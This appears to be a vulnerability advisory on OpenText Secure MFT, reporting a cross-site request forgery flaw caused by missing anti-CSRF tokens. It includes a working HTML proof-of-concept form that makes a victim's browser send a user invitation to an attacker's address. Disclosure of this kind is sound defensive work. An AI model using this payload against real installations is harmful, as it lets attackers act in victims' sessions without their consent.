~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

Secure MFT aims to replace FTP or file transfer via e-mail by providing a
secure and easy-to-use alternative. Users can send each other files of
practically any size either by using a Microsoft Windows client, a Microsoft
Outlook plugin or a web application.

The software manufacturer describes the application as follows
(see [1]):

"OpenText Secure MFT is an enterprise-grade managed file transfer solution
that delivers uncompromising security to safely exchange large files."

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

The web application is vulnerable to Cross-Site Request Forgery since no
tokens are used to prevent this kind of attack.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

As a proof of concept, the following HTML document could be used by an
attacker to perform actions in the context of the victim if the attacker
manages to trick the victim into opening the document in their browser.

<html>
  <body>
    <form action="https://[Secure MFT host]/userinvitation" method="POST">
      <input type="hidden" name="email" value="attacker@...mple.org" />
      <input type="hidden" name="subject" value="CSRF Invite" />
      <input type="hidden" name="message" value="CSRF Message" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
